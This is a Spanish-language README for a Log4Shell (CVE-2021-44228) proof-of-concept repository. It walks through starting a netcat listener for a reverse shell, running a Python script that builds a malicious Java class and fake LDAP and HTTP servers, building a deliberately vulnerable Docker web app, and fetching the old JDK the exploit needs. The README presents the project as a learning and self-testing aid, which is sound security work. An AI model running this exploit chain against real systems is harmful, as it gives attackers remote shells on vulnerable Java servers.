
Exploit de prueba de concepto para CVE-2021-44228 (Log4Shell) que automatiza servidores LDAP y HTTP para entregar un payload de shell inversa a una aplicación Java vulnerable.
Una prueba de concepto para la vulnerabilidad CVE-2021-44228 descubierta recientemente.
Recientemente se descubrió una nueva vulnerabilidad en log4j, una librería de registro (logging) de Java que es muy utilizada en proyectos como elasticsearch, minecraft y muchos otros.
En este repositorio hay una aplicación vulnerable de ejemplo y un exploit de prueba de concepto (POC) para la misma.
Como PoC, hay un archivo de Python que automatiza el proceso.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20, y estar en el mismo directorio.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[+] Exploit java class created success
[+] Setting up fake LDAP server
Listening on 0.0.0.0:1389
Este script configurará el servidor HTTP y el servidor LDAP por ti, y también creará el payload que puedes usar para pegar en el parámetro vulnerable. Después de esto, si todo salió bien, deberías obtener una shell en el lport.
Hay un Dockerfile con la aplicación web vulnerable. Puedes usarlo siguiendo los pasos a continuación:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
Una vez que esté en ejecución, puedes acceder a ella en localhost:8080
Afortunadamente, Oracle proporciona un archivo de todas las versiones anteriores de Java:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Desplázate hacia abajo hasta 8u20 y descarga los archivos apropiados para tu sistema operativo y hardware.

Nota: Es necesario crear una cuenta para poder descargar el paquete.
Una vez que hayas descargado y extraído el archivo, puedes encontrar java y algunos binarios relacionados en jdk1.8.0_20/bin.
Nota: Asegúrate de extraer la carpeta del JDK en este repositorio con el mismo nombre para que funcione.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Este repositorio no pretende ser un exploit de un solo clic para CVE-2021-44228. El propósito de este proyecto es ayudar a las personas a aprender sobre esta vulnerabilidad y, quizás, probar sus propias aplicaciones (aunque existen mejores aplicaciones para este propósito, p. ej.: https://log4shell.tools/).